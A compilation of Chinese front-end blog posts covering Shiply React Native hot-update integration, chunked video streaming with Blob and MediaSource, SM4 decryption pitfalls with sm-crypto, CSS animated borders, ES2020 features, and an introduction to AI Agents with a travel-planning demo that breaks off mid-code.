    maven { url "https://tencent-tds-maven.pkg.coding.net/repository/shiply/repo" }
  }
}

 

2.3.4.  添加热更新检查与加载代码

2.3.4.1.  修改RN层代码
 
import React from 'react';
import {Platform, Text, View} from 'react-native';
 
import { HotUpdateHelper, HotUpdateButton } from 'rn-shiply-upgrade'; // 新增导入辅助类
 
const App = () => {
    // 初始化热更新配置(只需一次)
    HotUpdateHelper.getInstance({
        // 需要修改为业务方自己的android/ios appId和appKey
        appId: Platform.OS === 'ios' ? 'iOSAppId' : 'androidAppId',
        appKey: Platform.OS === 'ios'
            ? 'iOSAppKey'
            : 'androidAppKey',
        deviceId: '33333', // 需要修改为实际的设备id
        appVersion: "1.0.0", // 应用版本号
        shiplyResName: 'testRN', // 资源key名称,对应shiply平台上中创建的RN模块名字
    });
 
    return (
        <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
            <Text> 热更新测试: 当前是本地内容</Text>
            <View style={{ height: 10 }} />
            {/* 默认样式按钮 */}
            <HotUpdateButton />
        </View>
            );
};
 
export default App;
 

androidAppId/androidAppKey/iOSAppId/iOSAppKey要改成2.1中创建的Android/iOS产品的真实appId/appKey。

 

 

2.3.4.2.  修改Android层代码
class MainApplication : Application(), ReactApplication {
 
  override val reactNativeHost: ReactNativeHost =
      object : DefaultReactNativeHost(this) {
        override fun getPackages(): List<ReactPackage> =
            PackageList(this).packages.apply {
              // Packages that cannot be autolinked yet can be added manually here, for example:
              // add(MyReactNativePackage())
            }
 
        override fun getJSMainModuleName(): String = "index"
 
        override fun getUseDeveloperSupport(): Boolean = BuildConfig.DEBUG
 
        override fun getJSBundleFile(): String? {
              var result: String? = null
              // 从shiply获取RN bundle路径,业务方需要将资源key修改为shiply平台中创建的资源key名称
              result = ShiplyReactNativeUpgradeModule.getJSBundleFilePath(applicationContext as Application, "testRN")
              Log.d("MainApplication", "getJSBundleFile: $result")
              return result
        }
 
        override val isNewArchEnabled: Boolean = BuildConfig.IS_NEW_ARCHITECTURE_ENABLED
        override val isHermesEnabled: Boolean = BuildConfig.IS_HERMES_ENABLED
      }
 
  override val reactHost: ReactHost
    get() = getDefaultReactHost(applicationContext, reactNativeHost)
 
  override fun onCreate() {
    super.onCreate()
    SoLoader.init(this, OpenSourceMergedSoMapping)
    if (BuildConfig.IS_NEW_ARCHITECTURE_ENABLED) {
      // If you opted-in for the New Architecture, we load the native entry point for this app.
      load()
    }
  }
}

复写getJSBundleFile方法,从shiply获取bundle路径。

2.3.4.3.  修改iOS层代码
class AppDelegate: RCTAppDelegate {
  override func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey : Any]? = nil) -> Bool {
    self.moduleName = "TestShiplyRN"
    self.dependencyProvider = RCTAppDependencyProvider()
 
    // You can add your custom initial props in the dictionary below.
    // They will be passed down to the ViewController used by React Native.
    self.initialProps = [:]
 
    return super.application(application, didFinishLaunchingWithOptions: launchOptions)
  }
 
  override func sourceURL(for bridge: RCTBridge) -> URL? {
    self.bundleURL()
  }
 
  override func bundleURL() -> URL? {
 
    // 业务方需要将资源key修改为shiply平台中创建的资源key名称
    ShiplyReactNativeUpgradeUtil.getJSBundleFilePath("testRN");
    if let path = ShiplyReactNativeUpgradeUtil.getJSBundleFilePath("testRN") {
        NSLog("bundleURL called,path = %@ ", path);
        return URL(fileURLWithPath: path)
    }
    return Bundle.main.url(forResource: "main", withExtension: "jsbundle")
  }
}

复写bundleURL方法,从shiply获取bundle路径。

 

做完以上步骤后就完成了接入。

 

这时点击检查更新没有什么效果,因为还没有在shiply配置新版本RN热更新产物。

2.4.  打包RN动态化产物

 

2.4.1.  修改Demo测试代码

 
import React from 'react';
import {Platform, Text, View} from 'react-native';
 
import { HotUpdateHelper, HotUpdateButton } from 'rn-shiply-upgrade'; // 新增导入辅助类
 
const App = () => {
    // 初始化热更新配置(只需一次)
    HotUpdateHelper.getInstance({
        // 需要修改为业务方自己的android/ios appId和appKey
        appId: Platform.OS === 'ios' ? 'iOSAppId' : 'androidAppId',
        appKey: Platform.OS === 'ios'
            ? 'iOSAppKey'
            : 'androidAppKey',
        deviceId: '33333', // 需要修改为实际的设备id
        appVersion: "1.0.0", // 应用版本号
        shiplyResName: 'testRN', // 资源key名称,对应shiply平台上中创建的RN模块名字
    });
 
    return (
        <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
            {/*<Text> 热更新测试: 当前是本地内容</Text>*/}
            <Text> 热更新测试: 当前是热更新内容</Text>
            <View style={{ height: 10 }} />
            {/* 默认样式按钮 */}
            <HotUpdateButton />
        </View>
            );
};
 
export default App;
 

主要修改下UI文案,区分本地版本和热更新版本。

2.4.2.  打包Android产物

在工程的根目录输入如下命令进行打包:

react-native bundle --entry-file ./index.js --bundle-output ./bundle/androidBundle/index.android.bundle --platform android --assets-dest ./bundle/androidBundle --dev false 

执行后,工程根目录/bundle/androidBundle下会生成Android产物,全选androidBundle下所有文件后进行压缩,得到的zip文件将用于上传到shiply。

 

2.4.3.  打包iOS产物

在工程的根目录输入如下命令进行打包:

react-native bundle --entry-file ./index.js --bundle-output ./bundle/iOSBundle/index.ios.bundle --platform ios --assets-dest ./bundle/iOSBundle --dev false 

执行后,工程根目录/bundle/iOSBundle下会生成iOS产物,全选iOSBundle下所有文件后进行压缩,得到的zip文件将用于上传到shiply。

 

 

2.5.  发布RN动态化产物

参考3中的发布平台使用指引,上传2.4中的zip文件生成发布任务:

 

 

还原测试代码,在Demo Android目录执行./gradlew app:assembleRelease编译release apk,安装后运行九能拉到远端的RN产物了。

这里按钮和弹框都是shiply sdk提供的默认UI,也可以参考SDK中的HotUpdateButton 和HotUpdateHelper来自定义UI和请求时机。

 

安装加载成功后,shiply前端页面可以看到相关的数据上报。

 

2.6.  小结

总体体验下来接入比较顺畅,花个半天时间就能正常接入shiply rn热更新。因为CodePush下架急需替代方案来实现RN动态化的开发者可以考虑接入试用下。

掘金图片上传一直失败,也可以看下这篇文章:blog.csdn.net/sckgenius/a…

3.  参考文档

 

Shiply ReactNative 动态化 SDK 接入指引 | Shiply 专业版

ReactNative 动态化发布平台使用指引 | Shiply 专业版

自适应div的高度如何计算?

作者 snow来了
2025年7月3日 18:38

使用ResizeObserver即可

  // 用于监听 CorePointsWrapper 的高度
  useEffect(() => {
    const container = corePointsWrapperRef.current;
    if (!container) return;

    // 使用 ResizeObserver 监听高度变化
    const resizeObserver = new ResizeObserver(entries => {
      for (let entry of entries) {
        const height = entry.contentRect.height;
        const resultHeight = window.innerHeight - 100 - 72 - height;

        setCorePointsHeight(resultHeight);
      }
    });

    resizeObserver.observe(container);

    // 清理 observer
    return () => {
      if (container) {
        resizeObserver.unobserve(container);
      }
    };
  }, [deviceInfo]);

分片下载视频的处理办法

作者 snow来了
2025年7月3日 18:33

如果,后端有个接口,已经实现了视频分片,前端只需要将后端的api地址交给src,然后视频组件react-player就能够帮我们发起请求,然后进行播放,这导致视频进度条不管是前进还是后退都会发起很多垃圾请求。比如:

image.png

此时,向后端发起请求的是html5的video,不是开发者,所以不管你怎么做,你都拿不到发起请求的控制权。

现在你一定想到了前端的大文件分片下载:

大文件分片下载的核心理念是:juejin.cn/post/738180… 拿到文件,然后后端通过Content-range来设置视频片段,其实具体你现在要拿哪个片段,是前端控制的,后端只需要支持range就好了

Content-range:bytes 0-102131607/102131608

结合图片的分片下载

image.png

我写出了视频加载的后端代码:

  router.get('/getFmp4', async (ctx) => {
    const stat = fs.statSync(path.join(__dirname, 'fmp4.mp4'))
    const range = ctx.req.headers.range
    const parts = range.replace(/bytes=/, '').split('-')
    const start = Number(parts[0])
    const end = Number(parts[1]) || stat.size - 1
    ctx.set('Content-Range', `bytes ${start}-${end}/${stat.size}`)
    ctx.type = 'video/mp4'
    ctx.set('Accept-Ranges', 'bytes')
    ctx.status = 206
    const stream = fs.createReadStream(path.join(__dirname, 'fmp4.mp4'), {
      start,
      end
    })
    ctx.body = stream
  })

后端接口已经写好,大视频分块加载的方式只有2种:Blob和MediaDSource。

一.用Bolb实现一个react组件:

blob表示二进制大对象,是JavaScript对不可修改二进制数据的封装类型。包含字符串的数组、ArrayBuffer、ArrayBufferViews,甚至其他Blob都可以用来创建blob。

Blob(Binary Large Object)是一种数据类型,表示一个不可变的、原始数据的类文件对象。它通常用于存储二进制数据,如图像、音频、视频文件,以及其他类似的数据。

直接上代码:

import React, { useEffect, useRef, useState } from 'react';
import ReactPlayer from 'react-player';

export const VideoPlayer = ({ videoSrc, chunkSize = 10 * 1024 * 1024 }: Record<string, any>) => {
  const [videoBlob, setVideoBlob] = useState<string | null>(null);
  const [downloadProgress, setDownloadProgress] = useState(0);
  const chunksRef = useRef<ArrayBuffer[]>([]);
  const mediaSourceUrlRef = useRef<string | null>(null);

  // 每下载一块就追加到 chunks 并更新 Blob URL
  const appendChunkAndUpdateBlob = (newChunk: ArrayBuffer) => {
    chunksRef.current.push(newChunk);
    const blob = new Blob(chunksRef.current, { type: 'video/mp4' });
    const newUrl = URL.createObjectURL(blob);
    mediaSourceUrlRef.current = newUrl;
  };

  useEffect(() => {
    const downloadChunks = async () => {
      try {
        // 获取视频总大小
        const headResponse = await fetch(videoSrc, { method: 'HEAD' });
        const totalSize = parseInt(headResponse.headers.get('Content-Length') || '0', 10);

        if (!totalSize) throw new Error('无法获取视频大小');

        // 计算分片数量
        const chunkCount = Math.ceil(totalSize / chunkSize);

        // 分片下载
        for (let i = 0; i < chunkCount; i++) {
          const start = i * chunkSize;
          const end = Math.min(start + chunkSize - 1, totalSize - 1);

          const response = await fetch(videoSrc, {
            headers: { Range: `bytes=${start}-${end}` },
          });

          const arrayBuffer = await response.arrayBuffer();

          // 追加分片并更新视频源
          appendChunkAndUpdateBlob(arrayBuffer);

          // 更新进度
          setDownloadProgress(Math.round(((i + 1) / chunkCount) * 100));
        }

        // 合并分片并创建URL
        const blob = new Blob(chunksRef.current, { type: 'video/mp4' });
        const finalUrl = URL.createObjectURL(blob);
        setVideoBlob(finalUrl);
      } catch (error) {
        console.error('分片下载失败:', error);
      }
    };

    downloadChunks();

    return () => {
      if (mediaSourceUrlRef.current) {
        URL.revokeObjectURL(mediaSourceUrlRef.current);
      }
      if (videoBlob) {
        URL.revokeObjectURL(videoBlob);
      }
    };
  }, [videoSrc, chunkSize]);

  console.log(mediaSourceUrlRef.current, 98811);
  console.log(videoBlob, 9888);

  return (
    <div>
      {downloadProgress < 100 && <div>下载进度: {downloadProgress}%</div>}
      {mediaSourceUrlRef.current && (
        <ReactPlayer
          src={mediaSourceUrlRef.current}
          controls
          playing={true}
          width="100%"
          height="auto"
        />
      )}
    </div>
  );
};

他的解题思路是:我用for循环,向后端发起请求,然后将请求到的chunk放到一个数组里面接收,己收到的值我就用Blob把他们拼接起来,然后把内存地址丢给组件。

理想很丰满,现实很骨感,所有的视频肯定得有一项基础功能就是:边下载边播放。

我认为此时的mediaSourceUrlRef.current内存地址是一个定值,他会帮我实现边下载边播放。

但是实际情况是,整个视频组件一直在抖动,你根本就没有机会点击播放按钮,不过等所有的视频都下载完毕,我们的视频就能正常播放了。

为啥会抖动呢?因为你每次都在给src赋值,你每赋值一次,他就会刷新一次,如果你的网速比较快,下载快,就是连点击播放按钮的机会都没有。如果你的网速比较慢,是可以播放的,但是是都一直在晃。

看到这里你一定会说:“草泥马,这干了个啥么。” 是的,我就是这种反应。一个视频等分片下载结束以后才能播放,还不如你直接下来到本地,然后播放呢。多此一举么。

结论:Blob分片拼接的办法并不能实现视频边下载边播放的功能。

二.MediaSource(多媒体流)

MediaSource 是一个 Web API,用于在浏览器中动态生成媒体流,从而实现实时音频和视频流的播放。它允许您通过 JavaScript 代码来控制媒体数据的生成和传输,从而创建自定义的流媒体播放体验。

主要用途之一是实现流媒体的逐段加载,这对于大型视频、直播等场景非常有用。通过 MediaSource,您可以控制媒体片段的加载、缓冲和播放,从而实现更灵活的流媒体处理。

现在很多视频网站都用的 MediaSource 实现的大文件分片下载去节流的。比如:B站

    import React, { useEffect, useRef, useState } from 'react';
import ReactPlayer from 'react-player';

export const VideoPlayer = ({ videoSrc, chunkSize = 10 * 1024 * 1024 }: Record<string, any>) => {
  const mediaSourceRef = useRef<MediaSource | null>(null);
  const sourceBufferRef = useRef<SourceBuffer | null>(null);
  const chunksRef = useRef<ArrayBuffer[]>([]);
  const [videoUrl, setVideoUrl] = useState<string | null>(null);
  const [downloadProgress, setDownloadProgress] = useState(0);

  // 初始化 MediaSource
  useEffect(() => {
    if (!window.MediaSource) {
      console.error('当前浏览器不支持 MediaSource');
      return;
    }

    const mediaSource = new MediaSource();
    mediaSourceRef.current = mediaSource;

    const url = URL.createObjectURL(mediaSource);
    setVideoUrl(url);

    mediaSource.addEventListener('sourceopen', handleSourceOpen);
  }, []);

  // 创建 SourceBuffer 并开始下载第一个分片
  const handleSourceOpen = () => {
    if (!mediaSourceRef.current) return;

    try {
      const sourceBuffer = mediaSourceRef.current.addSourceBuffer(
        'video/mp4; codecs="avc1.42E01E, mp4a.40.2"'
      );
      sourceBufferRef.current = sourceBuffer;

      sourceBuffer.addEventListener('updateend', downloadNextChunk);
      downloadNextChunk();
    } catch (err) {
      console.error('创建 SourceBuffer 失败:', err);
    }
  };

  // 下载并追加下一个分片
  const downloadNextChunk = async () => {
    const currentChunk = chunksRef.current.length;
    const totalSize = await getVideoTotalSize();

    if (currentChunk >= Math.ceil(totalSize / chunkSize)) {
      mediaSourceRef.current?.endOfStream();
      return;
    }

    const start = currentChunk * chunkSize;
    const end = Math.min(start + chunkSize - 1, totalSize - 1);

    const response = await fetch(videoSrc, {
      headers: { Range: `bytes=${start}-${end}` },
    });

    const arrayBuffer = await response.arrayBuffer();

    if (sourceBufferRef.current && !sourceBufferRef.current.updating) {
      sourceBufferRef.current.appendBuffer(arrayBuffer);
      chunksRef.current.push(arrayBuffer);
      console.log(currentChunk, Math.ceil(totalSize / chunkSize), 78888);
      setDownloadProgress(
        Math.round(((currentChunk + 1) / Math.ceil(totalSize / chunkSize)) * 100)
      );
    }
  };

  // 获取视频总大小
  const getVideoTotalSize = async (): Promise<number> => {
    const headResponse = await fetch(videoSrc, { method: 'HEAD' });
    const contentLength = headResponse.headers.get('Content-Length');
    if (!contentLength) throw new Error('无法获取视频大小');
    return parseInt(contentLength, 10);
  };

  return (
    <div style={{ maxWidth: '800px', margin: '20px auto' }}>
      {downloadProgress < 100 && <div>下载进度:{downloadProgress}%</div>}
      {videoUrl && (
        <ReactPlayer src={videoUrl} controls playing={true} width="100%" height="auto" />
      )}
    </div>
  );
};

你以为大功告成了吗?想多了,控制台报错了。

image.png

你以为它会像所有的博主说的那样丝滑吗?no

MediaSource对视频类型有限制,你普通的mp4是加载不了的,他要的视频是标准 ISO BMF 格式的 MP4。

处理办法就是利用ffmpeg,把你的视频格式化一下就能播放了。

[ffmpeg 官网](https://ffmpeg.org/ffmpeg.html)

浅聊一下前端加解密库 sm-crypto 踩过的坑

2025年7月3日 18:23

需求:是后端对视频文件加密,前端在播放的时候先进行解密才能播放。

背景:后端采用国密对视频进行加密,用ai搜了一下,决定用sm-crypto这个库(至于为什么用这个库,大家可以自己搜一下,这个不是本文重点)。因为是对视频加解密所以用的是 sm4 对称加密。

坑一、sm-crypto不支持ctr模式

开始后端用的是国密 ctr 模式对视频进行加密,看了sm-crypto的 npm 文档也没有说是否支持这种模式,直接一顿操作,解密成功,但是视频流无法播放,根本不知道什么原因。一顿搜索还是没找到问题原因,后来去看了下源码,直接上图,

image.png

发现只支持 cbc 与 ecb 两种模式,而且默认走的是 ecb 模式。 然后又是一顿搜索, 说 gm-crypto 库支持 ctr模式,于是换了个库操作了一波,结果还是不行。(这里各种 ai 回答都不一致, 有些说sm-crypto支持 ctr模式,有些说gm-crypto支持),结果是两种都不支持。附上gm-crypto的源码

image.png

结论: 只能让后端换一种加密模式,切换成了 cbc模式。

坑二、加密视频的数据格式

先说结论:后端对视频加密的数据是二进制数据流,而我采用的是将视频文件的二进制流转成 hex 数据, 因此不管怎么解密都是报错。 报错信息:解密失败: Invalid code point 1839170 (说到这个还要在吐槽一下, 我对解sm4.decrypt方法进行了 try catch, 发现好几种错误打印的都是这个错误码,压根没法区分)。这个问题导致了我没法解密后端加密的视频,后端也没法解密我加密的视频(因为我对加密的视频数据也行转了 hex 的转换), 但是我可以解密自己加密的视频,后端同样也可以。又是一顿搜索,还是没有结果。 最后打印了各种日志, 我发现我加密后的数据比加密前的大了一倍,然后去排查代码,发现多了hex数据转换这一步。 ps: 我是让 cursor 直接给我翻译了后端的加解密代码,生成的 js 代码。

以为这里就结束了,结果还有

坑三、解密后的二进制数据无法直接放在 video 标签播放

直接上结论:解密后的数据需要判断数据格式是否是Uint8Array类型, 如果不是就需要转换,上代码

image.png

终于成功了,当然在这个过程中还有一些别的小坑,没有全部记录。

前端菜鸟一枚,仅用于记录自己的日常开发, 大佬们轻喷~~~~~~

css实现酷炫的边框流光(流动)旋转平移效果

作者 Nyingchi_X
2025年7月3日 18:00

最近为了迎合ai科技感的热度,产品突发奇想想把后台系统整得酷炫一点,比如什么接口请求的时候输入框带点酷炫的旋转效果,请求结果框移入内边框可旋转巴拉巴拉一堆“酷炫的效果”,然后就开始拿一堆酷炫的视屏效果企图让我实现她天马行空的想法,为了满足产品这个刁钻的需求,我把ai都问烂了,最终整理出了下面四种产品比较满意的流光效果(此处效果是从项目抽离出来的案例,具体的应用大家可可根据各自的场景自行使用,公司项目有保密要求我也不好展示,大家就凑活凑活,不好看也别嫌弃)

iShot_2025-04-24_01.29.38.mp4.gif

一、案例中使用到的参数

@property 声明 :

  • 这是一个较新的CSS特性,允许开发者明确定义自定义属性的类型和行为
  • 它比普通的CSS变量( --variable )提供了更多的控制能力
  • 这里关键的一句是:syntax: "";,如果你不声明他为角度类型的变量,那么 turn 这个单位将不能被 conic-gradient 在变化中读取。
@property --border-gradient-angle {
  syntax: '<angle>'; //指定此属性的值必须是角度类型
  inherits: true; // 表示此属性的值会从父元素继承
  initial-value: 0turn; //设置属性的初始值为0圈(即0度), 1turn单位表示一个完整的圆(360度)
} 

linear-gradient(线性渐变):

  • 由两种或多种颜色沿一条直线进行线性过渡的图像
//渐变轴为 90 度,从左到右渐变 
background: linear-gradient(90deg, #6631ff, #a431ff, #ee89ff, #31daff, #316bff, #44ffdd, #6631ff);

conic-gradient(锥形渐变) :

    background: conic-gradient(
      // 指定渐变的起始角度--border-gradient-angle(这个值会在动画中变化,使得渐变可以随时间旋转),并设置设置渐变的中心点在元素的正中心(水平50%,垂直50%)
      from var(--border-gradient-angle) at 50% 50%,
      // 渐变中使用的颜色(注意首尾颜色相同(#6631ff),确保渐变过渡平滑)
      #6631ff,
      #a431ff,
      #ee89ff,
      #31daff,
      #316bff,
      #44ffdd,
      #6631ff
    );

animation(动画效果):

  • 通过改变 --border-gradient-angle 的值(从0turn到1turn),实现了渐变色彩的旋转效果
 animation: border-wave 5s linear infinite 0ms;

 @keyframes border-wave {
    0% {
      --border-gradient-angle: 0turn;
    }

    100% {
      --border-gradient-angle: 1turn;
    }
  }

filter

//- 高斯模糊效果,使元素产生15像素的模糊效果
filter: blur(10px);

二、实现效果代码

2.1 旋转流光

代码原理很简单,先实现一个旋转的流光背景设置一个内边距

image-20250423173016298.png 然后再在这个背景上叠加上元素,就可实现一个伪旋转边框的效果

2.2 平移流光

代码原理很简单,通过控制background-size实现一个平移的流光背景并设置一个内边距,然后再在这个背景上叠加上元素,就可实现一个伪边框的效果

image-20250423174610941.png

2.3 内边框流光

为了实现内边框旋转的效果此处需要通过伪元素::before创建一个旋转边框

未命名.png

再通过 filter: blur(10px);为这个旋转边框设置一个模糊效果

未命名 2.png

然后再给通过父元素设置overflow: hidden;使超出的边框隐藏

未命名 3.png

2.4 外边框流光

为了不让 filter: blur(10px);影响到子元素的效果,所以需要通过伪元素::before给父元素创建一个模糊的旋转元素 未命名 4.png

创建完成后覆盖上有背景色的子元素就可实现效果

ES2020 都有哪些新写法?

2025年7月3日 17:53

1、可选链操作符

// 传统写法
const street = user && user.address && user.address.street;

// ES2020
const street = user?.address?.street; // 任意一环不存在则返回 undefined

支持的场景:

  • 属性访问 obj?.prop
  • 动态属性 obj?.[expr]
  • 函数调用 func?.()

2、空值合并运算符

作用:精准判断 null/undefined(不包含其他假值如 0 或 '')。

// 传统写法
const value = input !== null && input !== undefined ? input : 'default';

// ES2020
const value = input ?? 'default'; // 仅在 input 为 null/undefined 时生效

对比 ||

const count = 0;
console.log(count || 10); // 10(0 是假值)
console.log(count ?? 10); // 0(精准判断)

3、动态导入

作用:按需异步加载模块。

// 传统静态导入
import module from 'module';

// ES2020 动态导入
button.addEventListener('click', async () => {
  const module = await import('./module.js');
  module.doSomething();
});

4、 BigInt 大整数类型

作用:表示超出 Number.MAX_SAFE_INTEGER 的整数。

Number.MAX_SAFE_INTEGER 是多少?

2^53 - 1 = 9007199254740991

技术背景:

JS使用 IEEE 754 标准的64位双精度浮点数表示所有数字(包括整数) 其中52位用于表示整数部分的尾数

5、Promise.allSettled()

获取所有Promise的结果(无论成功还是失败)

6、String.matchAll()

作用:高效遍历正则匹配的所有分组。

const str = 'test1test2';
const regex = /t(e)(st(\d?))/g;

// 传统写法:循环 exec
// ES2020
const matches = [...str.matchAll(regex)];
matches[0]; // ["test1", "e", "st1", "1", index: 0, ...]

七、globalThis

作用:统一全局对象访问(跨浏览器/Node.js 环境)。

// 传统环境判断
const global = typeof window !== 'undefined' ? window : global;

// ES2020
console.log(globalThis); // 浏览器: window, Node.js: global

八、模块新特性

1. import.meta

console.log(import.meta.url); // 文件 URL(如 "file:///path/to/module.js")

2. 导出命名空间

export * as utils from './utils.js'; // 将模块所有导出作为命名空间

九、for-in 机制标准化

明确规范 for-in 循环的遍历顺序(虽实际仍依赖引擎实现)

前端视角下认识AI Agent

作者 星始流年
2025年7月3日 17:43

当 AI 需要从"说"到"做"

大家好!今天我们来从前端视角介绍一下AI Agent。

在过去的一年里,我们见证了大型语言模型(LLM)的飞速发展。从 ChatGPT 到各种开源模型,它们强大的对话和内容生成能力,已经深刻地改变了我们获取信息和进行创作的方式。无论是写代码还是做翻译,AI 都已成为我们身边不可或缺的助手。但时至今日,我们对 AI 的期望已经不再满足于只能简单的"聊一聊", 我们更希望 AI 能够为我们处理更复杂的任务,在这一方面,单纯的 LLM 开始显得力不从心。

让我们设想一个具体的场景。假如我想去成都旅游五天,并向一个标准的 LLM 发出指令:"请综合考虑天气情况,为我规划一个从 明天到 7 月 5 日的成都详细旅游方案" 这里我们选择调用阿里最新的开源模型Qwen3-turbo模型会迅速生成一份看似周全的计划:

image.png

这份计划看上去内容详实,但仔细推敲就会发现几个关键问题:

  1. 日期不准确:我提问的日期是7月3日,正常来说应该规划的是7月4日到7月5日的旅行行程,它给出的是7月1日-7月5日的计划。
  2. 信息不实时:它提供的天气状况是基于历史数据的模糊描述,而非精准的实时天气预报。

很显然,这样的 LLM 无法真正解决我们的问题。我们需要的,不仅仅是一个信息提供者,而是一个能够理解我们的目标,并能自主完成一系列操作的智能"执行者"。

AI Agent 是什么

为了填补"信息"与"行动"之间的这道鸿沟,一个全新的概念应运而生,它就是我们今天的主角——AI Agent。自2025 年年初开始,AI Agent 正加速走向成熟,并开始在各个领域展现出巨大的潜力。相信不少人已经听说过了这个概念,但 AI Agent 究竟是什么?

简单来说,它不再仅仅是一个会"说"的模型,而是一个会"做"的系统。它以LLM为"大脑"进行思考和规划,并能通过调用各种"工具"(如搜索引擎、计算器甚至是各类应用的 API)来与现实交互或者执行任务,从而将复杂的目标分解并付诸实践。

事实上,这种转变已经悄然发生。例如,现在我们向最新版的 ChatGPT 提出同样的问题,得到的答案会大不相同:

image.png

我们会发现,ChatGPT 已经能够提供基于实时天气预报的建议,而且日期也准确。这正是因为它不再局限于自身的知识库,而是在回答之前,主动调用了联网搜索等工具来查询最新信息。

这种从被动回答到主动执行的转变,正是 AI Agent 的核心思想,也标志着 AI 正从一个"聊天伙伴"进化为一个真正的"智能代理"。


AI Agent 的构成

现在大家常用一个经典公式来概括它的核心构成:

AI Agent = LLM(大脑) + Memory(记忆) + Planning(规划) + Tools(工具)

image.png

让我们来逐一拆解这四个核心组件:

  • LLM (大语言模型): Agent 的核心引擎,充当"大脑"的角色。它负责理解用户意图,进行推理、分析和决策。所有复杂的逻辑判断和语言理解,都由它来完成。

  • Planning (规划): Agent 的"思考框架"。当面对复杂任务时(比如"规划旅行"),Agent 需要将其分解成一系列可执行的小步骤(1. 查天气 → 2. 查酒店 → 3. 查景点 → 4. 规划行程)。这种任务分解和规划能力是 Agent 自主性的关键。

  • Memory (记忆): Agent 的"笔记本"。它能记住之前的交互历史、任务的中间结果,甚至过去的成功经验和失败教训。这使得 Agent 在多轮对话和长期任务中能保持上下文连贯,而不是只有"七秒钟记忆的金鱼脑袋"。

  • Tools (工具): Agent 的"双手",是它与现实世界交互的桥梁。无论是 API 调用(如查询天气)、数据库查询,还是近期热门的 MCP Server 概念,这些都属于工具的范畴。


演示项目介绍

在理论讲解之前,让我先为大家介绍今天的演示项目——旅行规划助手。这个项目将贯穿后续的整个分享,帮助大家理解 AI Agent 从理论到实践的完整转化过程。

项目概览

image.png

这是一个基于多 Agent 协作的智能旅行规划系统。用户只需输入简单的旅行需求,比如"我想 7 月 6 号在成都玩三天,预算 3000 元左右",系统就会自动完成以下流程:

  1. 理解需求 - 提取目的地、时间、预算等关键信息
  2. 收集数据 - 调用真实天气 API 获取实时天气预报
  3. 智能规划 - 结合天气情况生成详细的逐日行程
  4. 实时反馈 - 可视化展示 AI"思考"的完整过程

系统架构

该演示项目采用了多 Agent 协作的架构模式,每个 Agent 专注于特定的任务领域:

image.png

当前项目中有三个专家Agent,分别是:

  • AnalyzerAgent(需求分析专家): 负责解析用户输入,提取目的地、时间、预算等关键信息。
  • WeatherAgent(天气查询专家): 专门处理天气相关查询,结合天气情况生成旅行期间的出行建议。
  • PlannerAgent(行程规划专家): 综合前两个 Agent 的分析结果,生成详细且实用的旅行方案。

所有 Agent 之间的协作流程和数据传递都由AgentCoordinator(协调器)统一管理,并将最终结果实时展示给用户。

当前项目中使用了 3 个工具,分别是:

  • getCurrentDateTool: 获取当前日期(特在用户输入相对时间如"明天"、"下个月 1 号"等场景下)。
  • getLocationIdTool: 将城市名转换为天气 API 所需的 LocationId(由于天气 API 的特殊要求,查询时只接受地点对应的LocationId作为入参)。
  • getWeatherTool: 调用 API 获取LocationId对应地点指定日期的天气数据。

AI Agent 的核心

LLMAI Agent的核心,在AI Agent系统中,这种核心地位体现在系统中的每个子Agent都只是通过prompt预先规划好的LLM。脱离LLM,Agent的智能性就无从谈起,更无法主动完成任务。

演示项目中,每个子 Agent 背后都调用了 Qwen3 的 API,通过 prompt 为 LLM 赋予特定的角色设定和任务目标。在实际开发中,不同的 Agent 也可以调用不同的 LLM 模型,从而实现专业化分工,让每个 Agent 在各自领域发挥最大优势。比如,处理复杂任务可以调用参数量大的LLM提升准确性,针对简单项目可以调用参数量较小的LLM来提升效率,针对特定领域的任务可以调用专门微调过的模型。

export const analyzerAgent: Agent = {
  name,
  description,
  inputPrompt,
  inputExample,
  systemPrompt: `
    ## 角色设定
    ${description}
    ## 任务描述
    你需要根据用户的需求,从中提取出如下与旅行相关的信息:
    1. 目的地[destination], 用户想要去的地方. 必填, 输出文本, 如'北京'
    2. 旅行天数[duration], 用户计划旅行的天数. 必填, 输出不带单位的纯数字, 如'3'
    3. 出发时间[startDate], 用户计划出发的时间. 必填, 输出文本格式为'YYYY-MM-DD', 如'2025-07-01'
    4. 所有日期[allDates], 用户计划旅行的所有日期. 必填, 多个日期之间用','分割, 如'2025-07-01,2025-07-02,2025-07-03'
    5. 预算范围[budget], 用户旅行的总预算. 必填, 输出不带单位的纯数字, 如'1000'
    6. 偏好类型[preferences], 用户偏好的景点或地点类型. 选填, 输出文本, 如'美食'
    7. 额外要求[extraRequirements],用户旅行的额外要求. 选填, 输出文本, 如'必须去故宫'
    ## 输入信息
    ${inputPrompt}
    ## 输入示例
    ${inputExample}
    ## 输出格式
    请以JSON格式返回结果。
    ## 请按照以下格式返回结果:
    {
      "destination": "目的地", 
      "duration": "旅行天数",
      "startDate": "出发时间",
      "allDates": "所有日期",
      "budget": "预算范围",
      "preferences": "偏好类型",
      "extraRequirements": "额外要求"
    }
    ## 示例[必须严格参考格式与风格]
    ### 示例1
    #### 用户输入
    2025年7月1日去北京3天,预算1200元,我喜欢自然风光, 最想去故宫
    #### 输出
    {
      "destination": "北京",
      "duration": 3,
      "startDate": "2025-07-01",
      "allDates": "2025-07-01,2025-07-02,2025-07-03",
      "budget": "1200",
      "preferences": "自然风光",
      "extraRequirements": "去故宫"
    }
    ### 示例2
    #### 用户输入
    今年国庆节在成都玩两天,每天计划400元
    #### 输出
    {
      "destination": "成都",
      "duration": 2,
      "startDate": "2025-10-01",
      "allDates": "2025-10-01,2025-10-02",
      "budget": "800",
      "preferences": "",
      "extraRequirements": ""
    }
`,
  async getJSONResult(
    input: AgentInput,
    addRecord?: (record: RecordItem) => void
  ): Promise<string> {
    addRecord?.({
      id: `analyzerAgent_${Date.now()}`,
      name: name,
      type: "agent",
      desc: `开始分析...`,
      content: input.query,
      contentType: "text",
      createdAt: Date.now(),
    });
    const plan = await chatCompletion(
      {
        messages: [
          { role: "system", content: this.systemPrompt },
          { role: "user", content: input.query },
        ],
        tools: [tools.getCurrentDateTool.schema],
      },
      (toolName) => {
        if (toolName === tools.getCurrentDateTool.schema.function.name) {
          const currentDate = tools.getCurrentDateTool.execute();
          addRecord?.({
            id: `analyzerAgent_${Date.now()}`,
            name: toolName,
            type: "tool",
            desc: `获取当前日期...`,
            content: currentDate,
            contentType: "text",
            createdAt: Date.now(),
